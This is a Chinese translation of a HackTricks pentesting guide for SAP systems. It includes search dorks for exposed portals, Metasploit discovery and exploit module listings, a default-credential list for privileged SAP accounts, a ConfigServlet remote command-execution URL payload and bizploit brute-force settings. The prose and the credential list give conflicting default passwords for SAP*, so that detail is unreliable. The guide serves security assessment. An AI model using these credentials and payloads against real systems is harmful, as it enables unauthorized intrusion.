mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-12 06:12:55 +00:00
323 lines
24 KiB
Markdown
323 lines
24 KiB
Markdown
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 你在一个**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
|
||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
|
||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
|
||
# 关于SAP的介绍
|
||
|
||
SAP代表数据处理中的系统应用和产品。SAP在定义上也是ERP（企业资源规划）软件的名称，也是公司的名称。
|
||
SAP系统由许多完全集成的模块组成，几乎涵盖了业务管理的方方面面。
|
||
|
||
每个SAP实例（或SID）由三个层次组成：数据库、应用和表示层），每个系统通常由四个实例组成：开发、测试、QA和生产。
|
||
每个层次都可以在一定程度上被利用，但是通过**攻击数据库**可以获得最大的效果。
|
||
|
||
每个SAP实例被划分为客户端。每个客户端都有一个名为SAP\*的用户，相当于“root”。
|
||
在初始创建时，这个用户SAP\*会获得一个默认密码：“060719992”（更多默认密码请参见下文）。
|
||
你会惊讶地发现，在测试或开发环境中，这些**密码经常没有被更改**！
|
||
|
||
尝试使用用户名<SID>adm来访问任何服务器的shell。
|
||
暴力破解可能有所帮助，但是可能会有账户锁定机制。
|
||
|
||
# 发现
|
||
|
||
> 下一节主要来自用户shipcod3的[https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)！
|
||
|
||
* 检查应用程序范围或程序简介以进行测试。注意连接到SAP GUI的主机名或系统实例。
|
||
* 如果应用程序面向互联网或公共，使用OSINT（开放源情报）、Shodan和Google Dorks来检查文件、子域和有价值的信息：
|
||
```text
|
||
inurl:50000/irj/portal
|
||
inurl:IciEventService/IciEventConf
|
||
inurl:/wsnavigator/jsps/test.jsp
|
||
inurl:/irj/go/km/docs/
|
||
https://www.shodan.io/search?query=sap+portal
|
||
https://www.shodan.io/search?query=SAP+Netweaver
|
||
https://www.shodan.io/search?query=SAP+J2EE+Engine
|
||
```
|
||
* 这是 [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) 的样子
|
||
|
||
|
||
|
||
* 使用nmap检查开放的端口和已知的服务（sap路由器，webdnypro，web服务，web服务器等）
|
||
* 如果有运行中的Web服务器，请爬取URL
|
||
* 如果某些端口上有Web服务器，请使用Burp Intruder模糊目录。以下是SecLists项目提供的一些良好的字典，用于查找默认的SAP ICM路径和其他有趣的目录或文件：
|
||
|
||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
|
||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
|
||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
|
||
|
||
* 使用SAP SERVICE DISCOVERY辅助Metasploit模块来枚举SAP实例/服务/组件：
|
||
```text
|
||
msf > use auxiliary/scanner/sap/sap_service_discovery
|
||
msf auxiliary(sap_service_discovery) > show options
|
||
Module options (auxiliary/scanner/sap/sap_service_discovery):
|
||
Name Current Setting Required Description
|
||
---- --------------- -------- -----------
|
||
CONCURRENCY 10 yes The number of concurrent ports to check per host
|
||
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
|
||
RHOSTS yes The target address range or CIDR identifier
|
||
THREADS 1 yes The number of concurrent threads
|
||
TIMEOUT 1000 yes The socket connect timeout in milliseconds
|
||
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
|
||
rhosts => 192.168.96.101
|
||
msf auxiliary(sap_service_discovery) > run
|
||
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
|
||
```
|
||
## 测试厚客户端 / SAP GUI
|
||
|
||
以下是连接到SAP GUI的命令
|
||
`sapgui <sap服务器主机名> <系统编号>`
|
||
|
||
* 检查默认凭据（在Bugcrowd的漏洞评级分类中，这被视为P1 -> 服务器安全配置错误 \| 使用默认凭据 \| 生产服务器）：
|
||
```text
|
||
# SAP* - High privileges - Hardcoded kernel user
|
||
SAP*:06071992:*
|
||
SAP*:PASS:*
|
||
# IDEADM - High Privileges - Only in IDES systems
|
||
IDEADM:admin:*
|
||
# DDIC - High privileges - User has SAP_ALL
|
||
DDIC:19920706:000,001
|
||
# EARLYWATCH - High privileges
|
||
EARLYWATCH:SUPPORT:066
|
||
# TMSADM - Medium privileges
|
||
TMSADM:PASSWORD:000
|
||
TMSADM:$1Pawd2&:000
|
||
# SAPCPIC - Medium privileges
|
||
SAPCPIC:ADMIN:000,001
|
||
# SOLMAN dialog default users and passwords.
|
||
# For more info check:
|
||
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
|
||
# https://launchpad.support.sap.com/#/notes/2293011
|
||
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
|
||
SOLMAN_ADMIN:init1234:*
|
||
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
|
||
SAPSUPPORT:init1234:*
|
||
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
|
||
#SOLMAN<SID><CLNT>:init1234:*
|
||
# Trial systems
|
||
# -------------
|
||
# AS ABAP 7.40 SP08 Developer Edition:
|
||
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
|
||
DDIC:DidNPLpw2014:001
|
||
SAP*:DidNPLpw2014:001
|
||
DEVELOPER:abCd1234:001
|
||
BWDEVELOPER:abCd1234:001
|
||
# AS ABAP 7.50 SP02 Developer Edition:
|
||
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
|
||
# AS ABAP 7.51 SP02 Developer Edition:
|
||
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
|
||
DDIC:Appl1ance:000,001
|
||
SAP*:Appl1ance:000,001
|
||
DEVELOPER:Appl1ance:001
|
||
BWDEVELOPER:Appl1ance:001
|
||
# AS ABAP 7.51 SP01 Developer Edition:
|
||
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
|
||
# AS ABAP 7.52 SP04 Developer Edition:
|
||
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
|
||
DDIC:Down1oad:000,001
|
||
SAP*:Down1oad:000,001
|
||
DEVELOPER:Down1oad:001
|
||
BWDEVELOPER:Down1oad:001
|
||
```
|
||
* 运行Wireshark，然后使用您获得的凭据对客户端（SAP GUI）进行身份验证，因为某些客户端在没有SSL的情况下传输凭据。Wireshark有两个已知的插件可以解析SAP DIAG协议使用的主要标头：SecureAuth Labs SAP dissection插件和Positive Research Center的SAP DIAG插件。
|
||
* 检查是否存在特权升级，例如使用一些SAP事务代码（tcodes）来为低权限用户执行以下操作：
|
||
* SU01 - 创建和维护用户
|
||
* SU01D - 显示用户
|
||
* SU10 - 进行批量维护
|
||
* SU02 - 手动创建配置文件
|
||
* SM19 - 安全审计 - 配置
|
||
* SE84 - SAP R/3授权信息系统
|
||
* 检查是否可以在客户端执行系统命令/运行脚本。
|
||
* 检查是否可以在BAPI Explorer上进行XSS攻击。
|
||
|
||
# 测试Web界面
|
||
|
||
* 爬取URL（参见发现阶段）。
|
||
* 对URL进行模糊测试，就像在发现阶段一样。这是[http://SAP:50000/index.html](http://sap:50000/index.html)的样子：
|
||
|
||
|
||
|
||
* 查找常见的Web漏洞（参考OWASP Top 10），因为某些地方存在XSS、RCE、XXE等漏洞。
|
||
* 查看Jason Haddix的“[The Bug Hunters Methodology](https://github.com/jhaddix/tbhm)”以测试Web漏洞。
|
||
* 通过动词篡改进行身份验证绕过？也许：\)
|
||
* 打开`http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`，然后点击“Choose”按钮，然后在打开的窗口中点击“Search”。您应该能够看到SAP用户列表（漏洞参考：[ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)）
|
||
* 凭证是否通过HTTP提交？如果是，则根据Bugcrowd的[Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy)将其视为P3：Broken Authentication and Session Management \| Weak Login Function Over HTTP。提示：还可以查看[http://SAP:50000/startPage](http://sap:50000/startPage)或登录门户网站：\)
|
||
|
||
|
||
|
||
* 尝试`/irj/go/km/navigation/`以进行可能的目录列表或身份验证绕过
|
||
* [http://SAP/sap/public/info](http://sap/sap/public/info)包含一些有趣的信息：
|
||
```xml
|
||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
|
||
<SOAP-ENV:Body>
|
||
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
|
||
<RFCSI>
|
||
<RFCPROTO>011</RFCPROTO>
|
||
<RFCCHARTYP>4102</RFCCHARTYP>
|
||
<RFCINTTYP>BIG</RFCINTTYP>
|
||
<RFCFLOTYP>IE3</RFCFLOTYP>
|
||
<RFCDEST>randomnum</RFCDEST>
|
||
<RFCHOST>randomnum</RFCHOST>
|
||
<RFCSYSID>BRQ</RFCSYSID>
|
||
<RFCDATABS>BRQ</RFCDATABS>
|
||
<RFCDBHOST>randomnum</RFCDBHOST>
|
||
<RFCDBSYS>ORACLE</RFCDBSYS>
|
||
<RFCSAPRL>740</RFCSAPRL>
|
||
<RFCMACH>324</RFCMACH>
|
||
<RFCOPSYS>AIX</RFCOPSYS>
|
||
<RFCTZONE>-25200</RFCTZONE>
|
||
<RFCDAYST/>
|
||
<RFCIPADDR>192.168.1.8</RFCIPADDR>
|
||
<RFCKERNRL>749</RFCKERNRL>
|
||
<RFCHOST2>randomnum</RFCHOST2>
|
||
<RFCSI_RESV/>
|
||
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
|
||
</RFCSI>
|
||
</rfc:RFC_SYSTEM_INFO.Response>
|
||
</SOAP-ENV:Body>
|
||
</SOAP-ENV:Envelope>
|
||
```
|
||
# 攻击！
|
||
|
||
* 检查是否运行在旧的服务器或技术上，如Windows 2000。
|
||
* 计划可能的漏洞/攻击，有很多用于SAP发现（辅助模块）和攻击的Metasploit模块：
|
||
```text
|
||
msf > search sap
|
||
Matching Modules
|
||
================
|
||
Name Disclosure Date Rank Description
|
||
---- --------------- ---- -----------
|
||
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
|
||
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
|
||
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
|
||
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
|
||
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
|
||
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
|
||
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
|
||
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
|
||
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
|
||
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
|
||
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
|
||
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
|
||
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
|
||
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
|
||
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
|
||
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
|
||
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
|
||
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
|
||
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
|
||
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
|
||
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
|
||
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
|
||
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
|
||
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
|
||
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
|
||
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
|
||
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
|
||
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
|
||
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
|
||
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
|
||
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
|
||
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
|
||
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
|
||
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
|
||
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
|
||
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
|
||
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
|
||
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
|
||
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
|
||
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
|
||
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
|
||
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
|
||
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
|
||
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
|
||
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
|
||
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
|
||
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
|
||
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
|
||
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
|
||
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
|
||
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
|
||
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
|
||
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
|
||
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
|
||
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
|
||
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
|
||
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
|
||
```
|
||
* 尝试使用一些已知的漏洞（查看Exploit-DB）或攻击，如“SAP ConfigServlet远程代码执行”在SAP门户中：
|
||
```text
|
||
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
|
||
```
|
||
|
||
|
||
* 在执行发现阶段的bizploit脚本的`start`命令之前，您还可以添加以下内容以进行漏洞评估：
|
||
```text
|
||
bizploit> plugins
|
||
bizploit/plugins> vulnassess all
|
||
bizploit/plugins> vulnassess config bruteLogin
|
||
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
|
||
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
|
||
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
|
||
bizploit/plugins/vulnassess/config:bruteLogin> back
|
||
bizploit/plugins> vulnassess config registerExtServer
|
||
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
|
||
bizploit/plugins/vulnassess/config:registerExtServer> back
|
||
bizploit/plugins> vulnassess config checkRFCPrivs
|
||
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
|
||
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
|
||
bizploit/plugins> vulnassess config icmAdmin
|
||
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
|
||
bizploit/plugins/vulnassess/config:icmAdmin> back
|
||
bizploit/plugins> start
|
||
bizploit/plugins> back
|
||
bizploit> start
|
||
```
|
||
# 测试中其他有用的工具
|
||
|
||
* [PowerSAP](https://github.com/airbus-seclab/powersap) - 用于评估SAP安全性的PowerShell工具
|
||
* [Burp Suite](https://portswigger.net/burp) - 目录模糊测试和Web安全评估必备工具
|
||
* [pysap](https://github.com/SecureAuthCorp/pysap) - 用于构建SAP网络协议数据包的Python库
|
||
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - 帮助nmap检测SAP/ERP
|
||
|
||
# 参考资料
|
||
|
||
* [使用Metasploit进行SAP渗透测试](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
||
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - 用于半自动化Bizploit的脚本
|
||
* [SAP NetWeaver ABAP安全配置第3部分：访问应用程序的默认密码](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
||
* [与SAP安全相关的ABAP事务代码列表](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
||
* [破解SAP门户](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
||
* [最有趣的SAP漏洞和攻击前10名](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
||
* [使用bizploit评估SAP生态系统的安全性：发现](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
||
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
|
||
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
||
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
||
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
|
||
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
|
||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|